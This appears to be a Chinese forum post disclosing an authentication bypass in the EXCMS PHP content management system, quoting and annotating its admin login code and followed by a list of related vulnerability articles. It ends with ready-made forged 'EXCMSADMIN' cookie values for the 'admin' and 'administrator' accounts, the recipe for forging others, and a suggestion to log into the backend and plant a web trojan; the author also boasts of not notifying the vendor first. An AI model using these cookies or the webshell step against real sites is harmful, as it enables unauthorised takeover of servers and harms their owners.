EXCMS 0day (过程精彩)
以下版本没测试 测试的是最新版本
在公布前几小时没有通知官方 ^_^ 哈哈
为什么说过程精彩呢? 看完就明白!
因为这个漏洞原因非一般! 同时映射出中国软件行业的悲哀!!!
经典对白 看代码
后台登录文件
adminModulesAuthIndex.php
if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面文件都是包含运行方式的
{
}
if ( !defined( "EXCMS_ADMIN" ) )
{
exit( "Access Denied" );
}
$excms_action['title'] = "登录"; //标题
$forward = $_GET['forward']; //登录后转跳的地方
$verifycode = $EXCMS_CONFIG['login_verifycode']; //验证码。。。
if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) )
//迈下伏笔了!
{
$defaultBoxDisplay = "none";
$BoxDisplay = "";
$remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );
//看到这里没? 神奇把?
$remeberAdmin = $remeberInfo[0];
$remeberPwd = $remeberInfo[1];
//账号密码获取了(COOKIES方式?) 看下去将会发生的事情很惊天地!
$pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) );
//这就是中国特色! 作者 你知道良心2个字什么写吗? 你知道什么叫道德吗?
$remeberPwd = $remeberPwd == $pwdForever ? true : false;
$loginInputDispay = $remeberPwd ? "none" : "";
$loginType = $remeberPwd ? 3 : 2;
}
else
{
$defaultBoxDisplay = "";
$BoxDisplay = "none";
$loginInputDispay = "none";
$loginType = 1;
}
//下面是输出登录界面的
然后是CheckLogin.php 验证登录文件
经典对白 看代码!
if ( defined( "EXCMS" ) )//index.php有了
{
}
if ( !defined( "EXCMS_ADMIN" ) )
{
exit( "Access Denied" );
}
$excms_action['loadtpl'] = true;
$adminname = trim( $param['adminname'] );
$password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );
$rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];
$forward = $param['forward'];
$login_fail = true;
$error = "";
//以上东西不用理 $param都是POST方式的
if ( empty( $adminname ) )
//检测账户是否为空
{
$error = getlangbyname( "EMPTY_ADMINNAME" );
}
else if ( $param['loginType'] != 3 && empty( $password ) )
//检测这个什么东西 可能是步骤把 是否第3步和密码是否是空
{
$error = getlangbyname( "EMPTY_PASSWORD" );
}
else
{
if ( $param['loginType'] == 3 )
{
//以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何PHP高手鉴证
$remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );
$remeberAdmin = $remeberInfo[0];
$remeberPwd = $remeberInfo[1];
//账号密码从COOKIES里获取!
$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
if ( $remeberPwd == $pwdForever )
//COOKIES里的账号加密过程 比ESPCMS还简单~~
{
include_once( LIB_PATH."system/Admin.class.php" );
$admin_obj = new Admin( );
$admin = $admin_obj->getByAdminname( $adminname );
//悲剧! 只验证了管理员账号 没有验证密码!!!
if ( $admin )
{
$admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] );
$_SESSION['admininfo'] = $admin;
//获得管理员权限了!!!!!!!!!
++$_SESSION['admininfo']['logintimes'];
$admin_obj->updateLastLogin( $admin['adminid'] );
include_once( LIB_PATH."auth/Auth.class.php" );
$auth = new Auth( );
$auth->checkMenu( true );
$excms_action['loadtpl'] = false;
$login_fail = false;
}
}
}
else
//跳过没有COKIES 下面就是真正的验证登录状态 请注意 是有验证密码的!
{
if ( $EXCMS['config']['login_verifycode'] )
{
$param['verifycode'] = trim( $param['verifycode'] );
if ( $param['verifycode'] == "" )
{
$error = getlangbyname( "EMPTY_VERIFYCODE" );
}
else
{
include_once( LIB_PATH."util/CheckCode.class.php" );
$checkcode = new CheckCode( );
if ( !$checkcode->check( $param['verifycode'] ) )
{
$error = getlangbyname( "VERIFYCODE_FAILED" );
}
}
}
if ( empty( $error ) )
{
include_once( LIB_PATH."auth/Auth.class.php" );
$auth = new Auth( );
$loginMsg = $auth->Login( $adminname, $password );
if ( $loginMsg['success'] )
{
$_SESSION['admininfo'] = $loginMsg['admininfo'];
++$_SESSION['admininfo']['logintimes'];
$auth->checkMenu( true );
if ( $rememberPwd == 1 )
{
$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 );
}
else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 )
{
setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 );
}
$login_fail = false;
$excms_action['loadtpl'] = false;
}
else
{
$error = getlangbyname( $loginMsg['message'] );
}
}
}
}
if ( !$login_fail )
{
if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) )
{
header( "Location:index.php", true );
exit( );
}
header( "Location:".$forward, true );
exit( );
}
$errorCls = "f";
if ( $excms_action['loadtpl'] )
{
if ( !$error )
{
$error = getlangbyname( "LOGIN_FAILED" );
}
require( MODULES_PATH."Auth/Index.php" );
}
?>
//分析完毕
最后给出EXP
EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1;
EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;
第1个是admin
第2个是administrator 一般 就这2个 其他账号的话请自行结构
结构方法 setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) );
然后 strtoupper一次 就是把字母都变大写
修改COOKIES 直接进入后台 然后自定义页面 写入网马
后语 这个COOKIES“漏洞”并非是记住管理登录状态
记住管理登录的COOKIES是 SESSION ID 验证这个
所以这个漏洞100%是作者留下的后门!
相关文章

2019最新RDP远程桌面漏洞官方补丁(针对win2003、win2008)
Windows系列服务器于2019年5月15号,被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系统都会遭到攻击,该服务器漏洞利用方式是通过远程桌面端口332021-07-25
宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma的问题分析
这篇文章主要介绍了宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下2020-08-24
CPU幽灵和熔断漏洞是什么?Intel为大家简单易懂的科普了一番
不久前让整全行业紧张、全球用户恐慌的Spectre幽灵、Meltdown熔断两大漏洞事件刚刚告一段落了,那么这两个漏洞到底是什么?可能还有很多人不是很清楚,想了解的朋友跟着小2018-03-21
2017年5月12日,WannaCry蠕虫通过MS17-010漏洞在全球范围大爆发,感染了大量的计算机,该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密,本文对其2017-05-17- 大部分的用户可能不要了解文件上传漏洞,下面小编就为大家具体的讲解什么事文件上传漏洞以及文件上传漏洞的几种方式2016-11-02
- 漏洞检测工具用语有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介绍,本文介绍的非常详细,具有参考解决价值,感兴趣的朋友一起看看吧2016-10-11
- 漏洞无处不在,它是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统2016-09-29
手把手教你如何构造Office漏洞POC(以CVE-2012-0158为例)
近年来APT追踪盛行,最常见的就是各种以钓鱼开始的攻击,不仅仅有网站挂马式钓鱼,也有鱼叉式邮件钓鱼,下面小编就为大家介绍office漏洞CVE-2012-0158,一起来看看吧2016-09-28- SSL(安全套接字层)逐渐被大家所重视,但是最不能忽视的也是SSL得漏洞,随着SSL技术的发展,新的漏洞也就出现了,下面小编就为大家介绍简单七步教你如何解决关键SSL安全问题2016-09-23
- 在爬虫开发中,大家可以很轻易地 bypass 所谓的 UA 限制,甚至用 scrapy 框架轻易实现按照深度进行爬行。但是实际上,这些并不够。关于爬虫的基础知识比如数据处理与数据存2016-09-12






最新评论